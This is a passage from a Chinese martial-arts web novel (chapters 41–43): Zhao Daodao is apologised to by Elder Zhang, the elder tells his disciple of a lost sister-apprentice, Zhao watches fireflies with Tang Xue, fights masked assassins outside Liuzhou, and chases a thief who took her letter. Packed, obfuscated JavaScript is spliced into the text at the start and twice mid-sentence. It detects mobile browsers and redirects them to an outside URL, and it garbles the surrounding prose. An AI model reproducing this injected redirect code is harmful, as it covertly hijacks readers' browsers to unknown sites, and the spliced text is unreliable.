l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200788|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾倾城的目光扫过唐雪牵着赵刀刀的手臂。粲然一笑,道,“我们还真是有缘,昨天在台上的事我看见了,你受伤了?现在怎么样,需要帮忙吗?” 赵刀刀摇头。 唐雪问,“顾姑娘怎么走这边,大比在相反方向。” “我知道。我过来找个朋友,他在等我。” 唐雪问,“这几日顾姑娘都去看比赛吗?” “嗯。” 赵刀刀问,“药已经采完了吗?” 顾倾城点头,远处有人叫她,她笑道,“先失陪了。” 三人与她道别。 唐雪感慨道,“她是我见过最适合穿红衣的人。” 周向晚和赵刀刀点头。 耀眼的人走入人群,红衣渐渐看不到了。 快到长老殿时,半路跑来了个白衣弟子。 弟子气喘吁吁,见赵刀刀一把黑刀知道自己没认错人,拱手道,“我师父已恭候多时了,诸位请跟我来。” 张长老秋水殿。 殿中有一股清香,隐隐浮动着水汽。 赵刀刀站在殿中,怀疑这大殿附近还有湖水或者深潭之类。 茶水送到手中,那股清香更明显了,原来殿中的香气源自这清茶味道。 张秋水此时不在高座,看起来有几分和蔼,和昨天的模样判若两人。 他上前道,“你就是赵刀刀赵姑娘吧,昨天的事,我有不对,阔儿……”他叹气道,“不管怎么说,昨日比试都怪我教导无方,最后竟没及时拦下,让阔儿做出那样为人不齿的举动来。赵姑娘伤势如何?” 赵刀刀道,“没什么大碍。” 张长老松了口气,拂须道,“没事就好。唉,我那弟子不成器,昨日已罚了他三十棍,叫他去后山面壁思过了。道歉一事不好拖欠,但现在他棍伤未醒,无法前来,我已叫他写了信,就在这里。” 张秋水从袖中掏出一封信,“我代他与赵姑娘赔个不是了。” 赵刀刀没说话,接过了那封信。 张长老道,“姑娘可是觉得这惩罚是老夫包庇弟子,过于轻了?” “……”她能说什么,再多罚点? 赵刀刀道,“没有。” 张长老道,“阔儿与我说过了他在唐家堡做的错事,他一念之间做了错事,没想到一错再错,幸好赵姑娘及时阻止,才没让他酿成大祸。这话他本该当面来说的,可惜……赵姑娘以后若是有什么我峦岳派帮的上的地方,尽管来找我就是。” 他的态度如此诚恳,赵刀刀真怀疑昨天那个张长老是另一个人,这样的师父竟能教出齐阔那样的弟子,她觉得很不可思议。 赵刀刀起身拱手道,“不敢,张长老爱惜弟子,这歉意我收下了。” 张长老心知,行走天下,功夫再高又如何,若是人人都与你结怨,便是睡着了也难以安宁,少一个敌人多一个朋友,总是很好的,更何况是赵刀刀这样的人。他拂须笑道,“好孩子,好孩子。” 又问,“赵姑娘年纪轻轻便如此深明大义,刀法也十分了得,比我那混账徒儿强多了,不知……是哪位高人的弟子?” 赵刀刀道,“我师父孤身山野,没听他说起过什么名号,现已仙逝了。” 张长老道,“是我失言了。原来赵姑娘是被不出世的高人指点,难怪身法凌厉刀法过人,真是少年豪杰啊。” “过奖了。”赵刀刀干笑两声道。 黑刀忽然出声道,“骗子,”又说,“你这撒谎功夫真是越来越高了。” 赵刀刀摸了摸鼻子,不作声。 张长老留她用餐,等齐阔醒来,赵刀刀推脱几句,唐雪与周向晚打圆场说已在房中叫了饭菜,便准备离去,只行礼承了这份邀请。 临别前张长老起身相送,似是随口一问,“赵姑娘,你……以前可曾来过白玉山?” 答案不假思索,“从未。” 送走他们,张长老看着三人的背影若有所思,半晌才吩咐道,“走,去看看阔儿。” 41. 朋友 张秋水挥退弟子,走进齐阔所在的山洞。 洞内空间狭小,最宽处不过两丈,一张石床已经快要把这里填满。 里面光线暗淡,齐阔没有点灯,正神色恹恹地靠着墙坐在地上,像一尊雕像。 张长老在洞口已见过送来的饭菜,饭菜已经凉了,还原封不动地放着,显然他没动一筷。 张秋水历来喜欢这弟子学剑的聪慧,可他如今犯了派里两条戒规,非但在派外无故争斗隐瞒不报,还在比武中逞强好胜,差点闹出人命,这两条要是犯在平时还有回旋的余地,偏偏在大比这时候,那么多双眼睛看着,闹得沸沸扬扬,即使自己与掌门私交甚笃也不能为他多说什么,让齐阔只挨三十棍已是几番争取的结果。 就算这样,这事在其他长老那儿还有不少争议,说他包庇弟子,对其他人不公。 张秋水自问一生行事磊落,从不求人,没想到自己有一天竟会为了弟子犯错在其他长老面前低声下气。 他心中也有不忿,但想及这一代弟子之中,只有齐阔最能领会断水剑法的剑招,要是罚的重了,这徒儿往后再不能练武,实在不忍,只好将怨愤压在心底。 张秋水叹气一声,齐阔这才发现师父来了。 他扶着墙壁起身行礼,“师父。” 张秋水挥手示意他不用多礼,一摆袖在石床上坐下。 师徒二人四目相对。 张秋水问:“你师弟送来的饭菜怎么不吃?” 齐阔低头道:“弟子没胃口,让师父担心了。” 张秋水沉声问:“你觉得这次罚你罚的不对吗?” 齐阔手握成拳,用力到骨节发白,他双目通红,眉头紧皱,只是在昏暗中低着头看不清晰,“弟子不敢。” 张秋水又叹气一声,问,“那你这又是在和谁怄气?阔儿,下山的事我已了解,我也见过那位赵姑娘了,你年少气盛,一时做错没什么,知错能改才是好男儿。” 他感叹道,“早知如此,当初不该急着让你下山,应该在派中再待两年。” 齐阔的胸膛起伏着,呼吸在洞中清晰可闻,张秋水一言不发地等着。 过了片刻,齐阔才道:“师父,弟子……弟子知错了,弟子认罚。” 张秋水这才缓下语气,柔声道:“好孩子,你能想通最好不过,你身上的伤怎么样了?” 齐阔道:“多谢师父关心,那天我穿了您给我的软甲,伤不碍事,已好了。只是……只是弟子还是不服!那赵刀刀不过是个初出茅庐的新人,她手中那把刀一定有古怪,师父,天下原来真有这等神兵利器,让她占了便宜,凭着一把黑刀就能傲睨一切!” 张秋水知他心中有气,只是没想到齐阔到现在还不肯服输,“阔儿,那日比武,众人可是看的清清楚楚,赵刀刀身法巧妙,刀法精湛,她胜你并非全靠外物。你太急躁了,一时不如她又有什么关系,以后的事,可未必说得准。” 齐阔道:“师父……”他想要辩解,对着师父却又有很多话说不出口。 论师门,赵刀刀一介女流,连自己师父的名号都说不出口,想来出身平平,论练功,他从未懈怠过一日,断水剑法也是绝顶剑法,凭什么就是不如?! 师父怜惜后辈不愿多想,他却看得出,赵刀刀那把黑刀属实古怪,况且她身法如妖,刀法也不像是正派武功。 张秋水看着他的表情就知道他还没想通。 略一沉思,脑海中忽然冒出一个人的影子,张秋水能体会到齐阔此刻心结所在。 他缓缓道:“阔儿,你自小在派中长大,于剑术一道悟性不错,同代弟子中罕逢敌手,后来练断水剑法,连你师兄也敌不过你,可终究人外有人,天外有天,我让你下山历练,没想到竟让你生出心魔。” “师父……” 张秋水长叹道:“你这性子,倒让我想起了自己当年。”他抬手道:“洞内地面湿冷,寒气伤人,石床草席是简陋了些,总比地上好,等下我让你师弟送些被褥来,先过来坐吧。” 齐阔闻言终于抬头,师父嫌少说起自己的往事,这番话倒真将他的思绪吸引过去。 实际上他棍伤未愈,可一想到自己接下去半年都要在这鬼地方待着,便心灰意冷,什么事都不愿做了。 只对赵刀刀的憎意又添几分。 他坐了很久,腿上有如冰冻,有些僵硬,扶着石壁慢慢起身,不解道:“师父……也——?” 张秋水缓缓道:“你应当也听过她的。” 齐阔犹豫道:“难道是……那位师叔?” 他在派中也听到过自己师父曾两次参加大比一败一胜的事,但派内要事皆记录在册,他私下去翻阅,见到簿上师父的名字只出现在一次大比中,就没把这流言放在心上。 当时还有传言说赢了师父的并非女子,而是派里那个疯子师叔,他更觉得荒谬至极,当不得真。 但此时师父提起,齐阔却忍不住问道:“是后山那位疯了的师叔?” 张秋水从没听到过这些流言,听齐阔提及不禁一愣,笑道,“这事派中记载不多,你们不知道也情有可原,不是你刘逋师叔。” 他两手揣袖,这时倒像个寻常长者,从高人落入凡尘。 齐阔眼中的张长老为人宽博,但一向很有威严,他从没见过师父这副随性的样子,一时对他口中那个当年更加好奇起来。 张秋水道:“不过你刘逋师叔的确与她相识。我、她、还有刘逋,我们三人本是师兄妹。” 齐阔有些不可置信地看着师父,他从没听过这回事。 张秋水道,“她入门最晚,是我和你刘逋师叔在白玉山待了三年才来的。那时候,派里还没多少人,好不容易才多了一个师妹,大家自然想着多加照料,只是你那赵师叔性子冷清,到派里一年几乎没说过一句话,要不是她拜师时叫了一声师父,我们还真以为她是个哑巴了。她这样行事,我们自然也渐渐疏远,后来只有你刘逋师叔还常去找她,给她带些小玩意儿过去,他们大概是朋友吧。” 齐阔沉思,这位赵师叔想必就是师父的师妹了,为什么派中对她讳莫如深,一点消息也没留下来? 张秋水道:“她天赋甚高,要不是亲眼所见,我也不会知道世上还有人这样学剑。她名叫赵如意,名字正如其人,于剑道一途当真是顺心如意的很,我虽比她先入门,后来却也不如她。” 说到这里张秋水有些惭愧,轻叹道,“我那时还不知道自己不肯正眼瞧她是出于妒忌,只觉得这师妹目中无人,派中有人不喜她也事出有因,唉,输给她之后我宿夜难寐,荒废了几日,脑子里都是她出神入化的剑招,明明是同一招,她却使得行云流水,招招之间更是破绽难察,浑然如一。” 齐阔问道:“可师父后来练成断水剑法,赵师叔应该不及了吧?” 张秋水摇头道:“我练成断水剑法已是她消失几年之后。” “消失?” 张秋水道:“消失只是好听些的说法,她当年下山后被妖人所伤,再也没回来……如果还活着,她一定会给刘逋捎信的,不然刘逋也不会伤心过度,疯了去。” 齐阔心想,众人都说刘逋师叔是练功走火入魔,原来还有这一层原因。 张秋水叹息道:“说来惭愧,直到你赵师叔逝世,我才彻底破了心结,武道大成。” 齐阔惊道:“师父,绝非如此!” 张秋水摆摆手道:“这些事我已不在意,才会这样说给你听,我当年从不正眼瞧她,皆因妒忌使然,可练剑到底是为自己还是为别人?你可要想明白了。你如今情形和我当年颇似,可千万别因为旁人坏了道心。” 齐阔低头道:“多谢师父一番苦心,弟子知错了,弟子会在这里好好想清楚的。” 张秋水点头道:“这山洞虽然清苦,却也是个无人打扰的好地方,你在这里思过,好好练剑,过半月我再来查验。” 齐阔起身送别,“谢师父。” 白玉山大比这几日,白天人来人往,晚上人却不多。 或许是人群已占下各自独属的角落,赵刀刀他们没有遇到。 弯月高挂,清风袭人。 周向晚与人约酒,不知又去哪里鬼混了。 唐雪听人说峦岳派有一处山坳,远看可看到长老峰殿宇微光,近处有萤火飞舞山花烂漫,峦岳派的弟子称这里叫望岳湾,趁着离开前,正好与赵刀刀一起来看。 不过山顶微冷,虽然时候已经到了夏天,望岳湾的萤火虫往年还要更迟些才能见到。 夜晚的草地是墨绿色,山坳起薄雾,朦胧如梦,正因为不是好时候,这里才四处无人,更添幽静。 唐雪取出两张手帕放在地上,道:“恩人,你的伤真的没事啦,不用陪我来也可以的?” 赵刀刀点头,跟着她坐下,“我身体好,伤好得也快,不出来也是练刀,都会动的。” 唐雪嘻嘻一笑道:“恩人你真好,唐二他们受了伤都恨不得十天半月再好,有理由逃了早课,就算只是一点小伤也要唧唧歪歪的说个不停。” 赵刀刀笑了笑,“那也挺有趣。你呢?” 唐雪道:“唔……我的话,那得分人了。对着唐二他们捉弄两下没什么,要是捉弄我爹被他发现是装病,两碗苦药少不了的,不过,要是恩人来问我伤的如何……”她卖了个关子。 赵刀刀问:“会怎么说?” 唐雪苦恼道:“我还没有想好呢。等我想到了再告诉你。” “好。” 唐雪突然惊呼:“那是什么?!” 赵刀刀顺着她手指的方向望去,有点点星光微晃。 雾渐渐散了,看的更清晰。 赵刀刀道:“你运气真好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210851|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是萤火虫。” 唐雪喜道:“我还以为遇不到呢,是我们运气真好!” 赵刀刀突然起身,道,“等我一下。” 唐雪正疑惑,就见她走到远处,衣袖轻拢,那点星光消失在夜色中。 赵刀刀双手捂成球状,走到唐雪面前,笑道:“你看。” 虫鸣幽幽。 她张开双掌,点点荧光从手心飞散开来,围绕着两人飞了会儿,有的去了远处,有的去了天上。 唐雪抬头去看,漫天星光,璀璨如梦。 她仿佛身在星空之中,但银河分明还在天上。 她不禁痴了:“好美……” 赵刀刀又在她身边坐下,等了会儿,望着远处道:“我以前住的地方有草有树,夏天的时候也有很多流萤。” 唐雪问:“那一定也很好看,你喜欢吗?” 赵刀刀摘了根草捏在手里晃悠,“一开始很喜欢,我晚上练刀,发现那里的时候还没有其他人来。” 唐雪道:“后来呢?” 赵刀刀道:“后来有人发现了,也会趁着夜色过来,我就换了地方练刀了。” 唐雪不解:“为什么?” 赵刀刀提起一边嘴角笑道:“因为我不想看见他们,他们也不想看见我。” 唐雪又问:“为什么非要在晚上练刀,白天没有这样的地方吗?” 赵刀刀一愣,道,“有个人问过我一样的问题。” 唐雪眨了眨眼睛,“是恩人其他的朋友吗?我还没见过呢。” 赵刀刀心想,你其实见过的。 刀子精以前也问她怎么不早起练刀,天天误了晨练,日日都在被罚。 她斟酌道:“算是一个……老朋友吧。我以前不喜欢白天,白天总有很多人,晚上练刀就没什么人会烦我了。” 唐雪道:“恩人有很多朋友吗?” “啊……”赵刀刀忽觉被戳中痛处。 仔细想来,在门派的时候楚天师没有苛待她,他只是不在意她,他对任何人都是那副不咸不淡的样子。如果把他也算进去,那赵小刀算一个,师父算半个,卖衣服的算半个,总共也就两个。 赵刀刀丢开手里被蹂躏过的草又顺手拔了根新的,道:“没有……” 唐雪本以为赵刀刀这样的人会有很多朋友,看她神色忧郁,方知不是,柔声安慰道:“恩人现在有很多朋友啦,唐家堡所有人都是你的朋友。” 赵刀刀躺倒在草地上,道:“谢谢你。” 她现在已经很满足,这里于她本像是夜空般遥远,一朝梦醒,她都分不清哪个才是梦,哪个才是真实。 她开玩笑道:“我师父常说,‘自古都是大能者,朋友遍天下。’现在看来,他又骗我了。” 唐雪摇头晃脑地思索:“其实这句话也有些道理,我爹就常说那些大门派都有很多朋友兄弟,一声令下便有许多人为他们奔走。” 赵刀刀点点头,“也是。” 天色已深。 唐雪有些困了,二人拍拍身上的草叶,准备回去。 唐雪灵光一现,问:“恩人回去还要练刀吗?” “嗯。” 唐雪张了张嘴本欲劝她,又想恩人天天如此,高手总有些自己的小习惯嘛,妥协道:“那好吧,不过要注意伤口,也别到太晚啊。” “好。” 赵刀刀拿了刀又出门,练完三遍,林中狂风大作。 赵小刀道:“晚上风大,等下回去练吧,风声这么大,已经盖过你刀声了。” 赵刀刀道:“行,那最后一遍,你还记得齐阔使的剑法吗,你说,我来拆招试试。” 一人一刀便顶着风又舞了会儿。 “对了!”赵刀刀看着一片细长绿叶被自己劈开,忽然想起一事,撩开袖子,“我蛇呢?” 赵小刀无语道,“两天前就不见了,你才想起吗,那看来丢了也没什么。” 赵刀刀沮丧道,“有什么的,说不定世上只有那一条会说话的青蛇呢,啊……怎么会丢了呢?” 她揉了揉头发。 赵刀刀不死心道:“你最后什么时候见的它,小蛇有说什么吗?” 刀子精沉默片刻,道:“没有。” 赵刀刀兀自伤心,“怎么就没了呢,我那么大一条蛇,怎么就没了呢……” 赵小刀努力回想,他只记得最后一次见到,是赵刀刀出门的时候,那时候蛇好像还在桌上。 就是没像以往那样团成镯子,是什么样子…… 想得头痛欲裂,才隐约记起最后一次看到青蛇,蛇直愣愣地爬在桌上,像一把青碧小刀。 继续想下去,他的脑中像是有根银针在不停搅动,已渐渐无暇顾及赵刀刀在说什么。 昏过去前,赵小刀关于那条蛇的记忆已经彻底消失,什么也回想不起。 42. 杨柳 大比的最后几天,赵刀刀问了峦岳派的人,也去药房看过,只得到一个没有红衣医生的结果。 峦岳派的人说,他们从没有哪位医生是穿着红衣的,那天在唐雪门口为女医引路的弟子也查无此人。 事情越发扑朔迷离,只有她和唐雪已经好起来的身体诉说着那位医生没有恶意。 遍寻无果,到了离开的时候。 三人下山行路几日,天气好,路上没怎么耽搁,很快就到了柳州城外。 一路上草木逐渐葱郁起来,花红柳绿无比鲜明。 和佩城比起来,越是靠近柳州,景色越是柔和。 与柔和的景色不同,赵刀刀注意到,下山之后有几道影子一直坠在他们身后。 起初她还以为是自己多心,毕竟下山的人成群结队,有一路的也不奇怪。 但随着其他门派的人渐渐离开,他们走在人迹罕至的小路上,那股被人窥视的视线还似有似无地坠在身后,就令人不得不疑心起来。 赵刀刀每夜都将黑刀压在手下入睡。 奇怪的是,那些人却迟迟没有对他们出手。 赵刀刀忍不住怀疑跟在他们身后的不只一方人马,只因他们互相牵制才一直没有出手,暂时风平浪静。 但接着更奇怪的事发生了。 有天晚上赵刀刀闻到了血腥味,她从窗户翻出,查看其他人的房间,唐雪、周向晚和马夫都好端端睡着,相安无事。 她叫醒二人仔细寻找,最后血腥味竟是从其他客房传来的。 而他们推开门时里面已经被收拾的干干净净。 赵刀刀一头雾水,觉得自己走进了死胡同中。 她不知道这些人为什么要自相残杀,如果他们的目标本就是彼此,没必要跟了一路,如果他们的目标是三人中的一个,也该完成任务之后再起内讧。 还是说,武洲就是这样一个地方? 唐雪和周向晚显然也搞不清楚,只能加强警惕。 天色渐暗,烛火被点亮。 道路逐渐宽敞,也更寂静,周围只剩下马蹄声嗒嗒作响。 这条路上只有他们一辆马车,因为出发前商量着要赶在今夜进城休息,中午短暂休整后几人就没有停下歇息过。 赶路颇有成效,不远处就是柳州城的城墙了。 唐雪坐在马车里,把点心掰开分给赵刀刀和周向晚,她自己仰头吃下最后一口,拍拍手正要说话,却突然闭上了嘴。 周向晚把糕点放回盘子,擦了擦手拿出扇子。 赵刀刀手里的那块点心已经不见了,她以一个蓄势待发的姿势贴在马车门边,定神听着车外的动静。 马车不知道什么时候停下了。 马夫却一直没有说话。 赵刀刀用黑刀反手撩起门帘一角,远处高大的城门在夜色中隐隐可见。 比城门更接近的,是几个围着马车的黑衣人。 一枚飞刀破空而来,割断了马和车相连的绳子。 邦的一声插进车框。 车厢向前倒去。 马夫连滚带爬地上马挥鞭,马蹄扬起一片飞尘向远方狂奔而去,没有人出声拦他。 车厢砸在地上发出一声巨响,烛火倾倒点燃了布料,火舌正在蔓延。 三人已经站在车外。 赵刀刀横刀而立,周向晚展开扇子,唐雪缓缓咽下了那口点心,指尖上冷光荧荧。 赵刀刀眯着眼,看清了围着他们的是十二个人。 十二人皆一身黑衣黑头巾,面上蒙着黑布,浑身上下只露出一双冒着凶光的眼睛。 薄云笼罩了月光,周围更黑暗了。 赵刀刀垂眸看向地面,她先前扔出去的点心已经掉在地上摔了个稀碎,碎块中还插着一把小刀。 赵刀刀出声问,“你们是谁?” 一个黑衣人冷笑两声,“听说唐家堡功夫了得,哥儿几个也来领教领教。” 赵刀刀想起了从太白山庄出来到佩城的路上遇到的几伙人,他们中也有这么说的,难道是同一批,一直蛰伏到他们离开峦岳派才动手? 只见领头的比了个手势,气氛有如破冰一般,周围的黑衣人一齐冲了上来。 来不及细想,三人默契地散开接战。 兵器相接碰撞声不停,夜色更暗。 只有马车里沉默燃烧的火光幽幽透出,映照着刀剑寒光,人影晃晃。 三人又背靠着缩成一圈,这回的敌人人数不算最多,但武功比之前几批高出许多,唐雪脸上的神色已变得认真。 赵刀刀再度冲出,她对上的人应该是其中较弱的一个,这人连连败退,惨呼声不断,交手几招她便心中有数,将心思分出去一些。 她以一敌四,余光却一直注意着领头的那人。 那人黑衣下仍可见魁梧的身材,手臂绷紧交叉在胸前,不知道为何站在一侧没有出手。 他在看什么? 周围血腥气渐起,赵刀刀眉头微皱,再打下去不知道这群人是否还有后手,还是尽快结束的好。 赵刀刀靠近周向晚,低声道,“我们得快些。” 周向晚点头,用扇面挡下一击。 扇面与双锤相接,纵使他及时转腕化力,那力道还是砸的他双手颤抖不止。 他暗咒一声飞撤数步,也想到其中关窍,对唐雪道,“不能缠斗,我们得赶在城门关之前进城。” 有了目标,三人不再留手,手下更快。 转瞬间,唐雪周围两名黑衣人腿上中镖,痛呼着倒在地上。 赵刀刀挥动黑刀,夜色中黑衣人占了便宜,但她的刀锋也如鬼魅一般难以察觉。 行动间,她瞟到唐雪身后的人影,低喝一声,纵跃过去一刀劈下。 那黑衣人眼中以为偷袭成功的笑意还没淡去,就捂着胳膊踉跄倒下,瞪大双眼直视过来。 剑被赵刀刀斩断,发出一声清鸣,黑衣上有了沾湿的痕迹,不是汗,是血渗出来。 赵刀刀帮完唐雪,立刻转身化解冲自己而来的攻势,黑衣人渐渐倒下。 正在这时,喘息之间背后一股寒意袭来,她心神大震,对空挥刀,借助刀势侧身躲过,剑锋擦着鼻尖而过,削落几根脸侧的黑发。 正睛看去,只见黑衣人举着一把巨剑再度挥来。 旁边站着的领头人已经不见了。 赵刀刀连接数招。 巨剑与黑刀撞出雷霆般的声响。 这人的武功和其他十一人简直天壤之别,她不明白对方既然有这样的好手为什么先前还要站在一边看其他的人过来送死。 赵刀刀瞥见唐雪渐渐占据上风便收回心神,全心全意防守这人的攻击。 重剑和黑刀有相似之处,他们的功法却天壤之别,一个稳健沉着一个灵巧疾速。 巨剑一招一式皆朴素至极,赵刀刀和他过招,仿佛回到了最初练刀的那段日子。 但是这人比当时的她强了太多。 若不是她身法诡谲,必然已经挨了几剑。 但这说不通! 赵刀刀喝到,“你不是刺客,你是什么人?!” 没有刺客会练这样的剑! 黑衣人没有回答。 重剑在他手中旋转向前,直冲赵刀刀面门而来。 赵刀刀倒纵几丈,不用黑刀直接对上。 刺劈之间,她眸光如箭,终于找到机会! 那一瞬间,她的刀顺着剑尖空隙直攻而上,黑衣人一惊后退。 黑刀如夜色般无孔不入。 剑锋与刀锋紧贴擦过,赵刀刀忽然生出有一种玄之又玄的奇妙感觉,她甚至不知道自己为这样挥出这一刀,她的手腕似乎没有用力,身体的存在也感觉不到,唯有刀尖如风过叶,虚实难辨间直卷而上,直指对手命门。 黑衣人捂着胸口后退,浓眉下一双眼睛直勾勾盯着她。 他沉声一喝,双手握剑,再度攻来。 剑带来的破空声响彻耳畔。 赵刀刀忽然从某种境界中清醒过来,之前那感觉再捉摸不到了。 她定了定神,丝毫不敢松懈,心中却隐隐生出一种不妙的预感——这个人不是来杀唐雪的。 每过一招这个想法就越加清晰。 赵刀刀心想,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过唐雪经他一打岔才忽然发觉自己一身汗已经浸湿衣物,的确有许多不适。 也不知头发乱了没,可别让恩人瞧见了这副邋遢样子,她捂着脸走在前方,“快跟上。” 到客栈,唐雪匆匆叫水上去了,留下周向晚和赵刀刀面面相觑。 周向晚噗的一声,没忍住,彻底笑出来,赵刀刀也笑起来。 大堂还有三两桌人在饮酒谈天,闻声看了过来。 二人这才收了声慢慢上楼,道一声安寝进到各自屋子。 赵刀刀将刀放在桌子上,洗漱过坐到桌边,将窗户打开。 阴云散去,一条河水在月色下波光粼粼,两岸杨柳枝条拂动。 她手指拂过衣襟,感受到信封一角在手指上锐利划过。 打斗间这封信差点掉出来。 赵刀刀盯着窗外喃喃道,“柳城……” 从晚镇到柳城,原来已经过了这么久了。 刀子精在她与人缠斗时没有一直没有出声,怕扰她心神,此时终于道,“怎么了?” 赵刀刀觉得眼前刀光剑影复现,脑海中思绪像乱线缠成一团,理不清楚。 她忽然握上黑刀,茫然道,“蛇呢?” 刀子精见她恍惚出神,声音低沉坚定道,“跑了。” 这事她应当已经知道,但赵刀刀还是懵懂问道,“为什么?” 刀子精道,“不知道。” “你会走吗?” “永远不会。” 赵刀刀松开黑刀,眼中渐渐恢复清明,在床上躺下。 赵小刀以为她已熟睡,却忽然听见了声音。 “小刀,因为有你陪着,我从不强求其他。” 赵刀刀的声音隔着珠帘传来,有些朦胧。 “嗯。” “我只是……觉得有点可惜。” 可相遇别离,岂非早已命中注定。 43. 碰瓷 回忆着那种玄妙的感觉,赵刀刀深深睡去,一觉醒来神清气爽。 随着手上的茧子越来越厚,她在这里找到一种熟悉的安心。 赵刀刀伸了个懒腰望向窗外,深吸一口新鲜的空气。 柳城的美在晨光中展露出来,如一颗被水洗过的珍珠,温润而璀璨。 绿树成荫,杨柳依依,水波销魂,清风袅袅。 街上人群熙攘,有背着刀剑的,有背着背篓的,还有背着树的,稀奇古怪,什么都有。 赵刀刀好奇地扒在窗沿向外看,这里包容一切的柔美令她的安心翻了倍。 她回到屋中将剑疆缠着腰带系好,也不知道这茫茫人海,是不是真能靠这东西找到一个人。 “尽力就好。”赵小刀看她拿着信神态认真,不由劝道。 “我知道。”赵刀刀点头,将信放好。 她也觉得尽力就好。 毕竟按老板娘所说的,那人活没活着都不一定,实在找不到,也是情有可原。 她因缘而至,为着一封信来到柳城,要是信送不出去,也不用苛责自己,就是无缘罢了。 最差不过她再带个信回去告诉老板娘人没了。 总归诸事已了,没有什么可以将她牵绊。 周向晚手腕还肿着,自嘲如此美景他却误了风雅,早上打了个照面就不见了。 唐雪跟着赵刀刀走到外面。 她终于知道了赵刀刀为什么要来柳州,原来是要找一个没见过的神秘人。 这事急不得,也不应一开始就过于招摇。 唐雪很快做了决断,柳州人生地不熟,这事她跟在恩人身边也帮不上什么,正好家里派了人到柳州分局,她得先去瞧瞧到底是谁来了。 便和赵刀刀说好白天分开行动。 柳城街上。 赵刀刀观察着周围人的神态。 她有些绝望地发现好像根本没人注意到她腰间的剑缰。 她的打扮在这里实在太平常了。 柳州街上不乏奇装异服的人,或许是见多不怪,哪怕身上背两把大斧,白纱帏帽从头遮到脚的人,也没人会多看,更何况她只是平平无奇地背着一把黑刀。 赵刀刀以为自己是为了找人出来的,但她似乎只是在街上漫无边际地晃悠。 晃悠着她突然想起一事,陆怀瑾让她带的话她还没告诉周向晚呢! 赵刀刀趴在桥上,看着底下的花船破水过桥,忍不住敲了敲自己的脑袋。 一定是这里没有她要找的人,下午换个地方再试。 赵刀刀下定决心,彻底放松身心站在桥上。 按理说牡丹城的热闹与柳州也差不了多少,甚至更胜一筹,但她更喜欢这里。 赵刀刀说不上来这是一种什么感觉,但她想象中的江湖也不外如此吧。 像是终于穿上了一身剪裁得体柔软顺滑的衣服,只觉得哪哪儿都舒心,没有一处不合心意,自在地像一条无忧无虑的鱼,要不是不会水,她真想去河里游一圈。 也或许是因为在牡丹城只吃了顿饭,没机会感受更多。 真该感谢老板娘的,她笑着想。 刀子精感受到她的开心,也笑了笑。 赵刀刀心中讶异,暗暗想到刀子精的嗜睡好像好了些,最近总能听到他的声音。 或许再过不久,他就会恢复如常了吧。 她忍不住抿嘴笑了笑,心情快要比天气还灿烂了。 柳州的景既热闹又克制,花团锦簇姹紫嫣红的艳色,往上被青柳蒙上一层浅绿,朦胧淡雅,往下映在碧波中,清凉荡漾。 街上人也笑嘻嘻的,走得不紧不慢。 看着船后头跟着的鸭子,头顶的绒毛还没长齐,憨憨地划着水,赵刀刀不禁笑出声来,第一次知道原来水景还能这样。 她看了会儿,起身离开,盘算着吃过午饭再去河对岸转一圈。 早上已经沿着客栈到城门这一路看过,没遇到什么人。 她到一家包子店外面坐下,放好刀,让小二多擦几了遍桌子,就摆好筷子坐直,虔诚地等饭。 这一刻她想起了在晚镇的第一个早上,那天她也是等着包子遇到了老板娘。 不知这次还会不会有这样的好运。 街上人来人往,小孩子跑来跑去。 赵刀刀坐在街边,忽然看到一个小孩冲过来就要直直撞上板凳,她起身绕过桌子想扶一把,却被另一人狠狠撞在肩上。 小孩没撞上,她撞上了。 她后退两步稳住,看着停下的小孩正想问话,小孩却抬头飞快看了她一眼跑了。 “诶——” 赵刀刀伸手叫他,小孩头也不回蹿进人群。 她无奈摇头,理了下衣襟,手却突然顿住。 赵刀刀顷刻转身,抄起刀,抛了银子在桌上就朝撞她那人离开的方向追去。 小二正端着包子走出来,见她离开,遥声不解道,“诶!客人,包子,你的包子!” 赵刀刀头也不回喊道,“你留着吃吧——”就消失在人群中。 小二感叹道,“咱家包子可要不了这多钱啊。” 他点了点,装起桌子上的钱,拿抹布在桌上一抹又把包子端回笼上。 赵刀刀在人群间穿梭,片叶不沾,过了桥又跟了一段,终于在巷尾拦住那人。 她伸手道,“信。” 撞她的是个男人。 相貌普通,一身灰衣,要是给他溜了,还真难在茫茫人海把这人揪出来。 他脚程够快,但赵刀刀也有两把刷子,此刻仍能面不红气不喘地与他对视。 男人向后退道,“什么啊?我可不认识姑娘。” 脸上尽是“我什么都不知道”的无辜茫然。 赵刀刀勾起一边嘴角笑了笑,“跟我装傻?” 她伸手在男人左肩一推,抽出黑刀。 那人没抗住步子歪了,身子一倒,背撞在墙上,连忙用手撑住自己。 来不及起身,一把黑刀竖在眼前。 他张嘴想要大喊,赵刀刀以迅雷不及掩耳之势踹了他一脚。 冷声道,“你喊一声试试。” 喊声变成痛呼,他抱着腿,眼中含泪看着赵刀刀。 赵刀刀不为所动。 想起刚才撞到赵刀刀竟然也没能把她撞倒,男人心中一紧,知道这次是遇上硬茬子了。 他神色一转求饶道,“姑娘,姑娘,有话好说,有话好说,刀剑无眼啊!” 赵刀刀挑眉,这时候知道求饶了? 她阴沉道,“你是自己交出来,还是我亲自取?我取的话,你这双手可就……” 她握着黑刀在男人手腕上比划,似乎在思索从哪个角度下手更利落些。 